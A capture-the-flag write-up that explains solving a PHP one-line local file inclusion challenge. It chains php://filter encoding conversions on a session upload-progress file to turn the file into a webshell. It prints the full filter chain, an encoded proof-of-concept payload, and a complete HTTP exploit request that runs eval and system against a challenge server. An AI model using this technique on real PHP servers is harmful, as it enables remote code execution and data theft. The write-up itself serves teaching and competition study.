One Line PHP Challenge

Source code

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

New Way (Changed on 2018.12.03)

https://hackmd.io/s/rJlfZva0m

Main idea

Because of allow_url_include=0 , we can't remotely include files, so the problem solving method of the topic is obvious: Using a local file including to construct a webshell or just including flag file

First attempt

At first, 🍊 did not give the environmental information. I tried a bug that Wang Yihang discovered last year, it causes PHP >=7.0 a segmentfault.

https://www.jianshu.com/p/dfd049924258

The poc is

php://filter/string.strip_tags/resource=xxx

PS: It is caused by a NULL pointer

The latest version of the local environment ubuntu16+php7.1(apt-get) is successful pwned, because the temporary files in tmp are not recycled, so you can use local file including to get shell.

However, the remote server does not always have an exception. Later, the author suggested that the environment of the topic was ubuntu18+php7.2. I opened a cloud host in the corresponding environment and found that this method is unreasonable. There are two reasons:

  • PHP7.2 fixed the bug caused by the null pointer
  • The system version after ubuntu17 uses systemd to host apache and php-fpm, and the tmp directory is separated.

Later, I tried some other PHP native wrappers.But i didn't find a way to solve the problem. Finally, I notice the wrapper php:// 's filter.

The known part of the flag is the hitcon (6 bytes) at the beginning, and the required file starts with @<?php which is also 6 bytes.
I accidentally saw an article when I searched for related knowledge about local file including.

https://gynvael.coldwind.pl/?lang=en&id=671

The challenge using filter to encode the flag , so begining bytes are turned into a gif header, then the flag can be read properly.

Later I ruled out this method, because even if it is converted to @<?php, it will be included as PHP code, and the latter part of flag won't be obtained.

Get flag

Later, when I detected any strange system files in ubuntu18+PHP7.2, I found that the PHP7.2 session file storage path is /var/lib/php/sessions . PHP downloaded trough apt-get is default set to open session.upload, so there is a problem-solving direction.

Here is an example.

https://xz.aliyun.com/t/2148#toc-2

However, there is still a problem to be solved. The progress file generated by session.upload starts with upload_progess_

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

So a solution is to use the above mentioned ideas: byte collision, but the complexity of collision 6 bytes is quite large and we should pay attention to the following bytes for avoiding PHP execution errors, the number of bytes required to collide is greater than 6 Bytes, obviously this solution is not working.

Here are some php:// filters which can make data loss

string.strip_tags
consumed
convert.base64-decode (inappropriate use)

So I thought we only need to collide the first byte to < (the beginning of the tag), then the controllable part closes it, then use strip_tags once, and then decode the remaining fully controllable content.

The range that can be decoded into < by base64 is PA-PP, and after rot13 encoding is CN-CC, so as long as the first two bytes are in any of the above ranges, it can be eventually decoded to <

The operations we can use are

Convert.iconv.* (conversion encoding)
Convert.base64-en(de)code
String.rot13

And the process must remain reversible, base64decode will lose information if the block is not full or a block has unsolvable characters, so we need to keep the total number of bytes unchanged, the initial data is in the form of block full, base64 operation (encode, decode) requires symmetry.

There are two particularly useful code conversions

convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.UCS-4LE.UCS-4BE 

Because the data stored in the high and low bits is reversed, it can cause 2 bytes and 4 bytes of reverse operation.

The next step is to encode upload_progress_xx multiple times to construct a base64 string. If there are C or P in the first four bytes, and the range of the following bytes is within the range mentioned above, then we can use Two-byte, Four-byte reverse-order operation to promote them to the first byte and the second byte respectively

ABCA => ACBA => CAAB

Through constant experimentation, I get the following result

php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Its corresponding reverse algorithm is

php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx

Then use reverse algorithm encoding >+(encoded controllable part), the controllable part is @<?php eval(xxx);?>//aaa...

The final encoding method I used here is convert.iconv.UTF8.CP1025

So the whole data is

'upload_progress_aa'+reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...'))

After challenge program processing

'<balabala...'+'>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')

After filter strip_tags

iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')

After convert.iconv.CP1025.UTF8

@<?php eval(xxx);?>//aaa...

The following is the process that is needed to construct POC.

​iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Poc:

data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF

Here is the result of this poc.

var_dump(file($_GET['orange']));

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The exploit (session.upload+lfi)(using burpsuite bruteforce module)

POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<data info of POC>
<long padding (guarantee to generate upload progress file)>
------WebKitFormBoundary2rwkUEtFdqhGMHqV--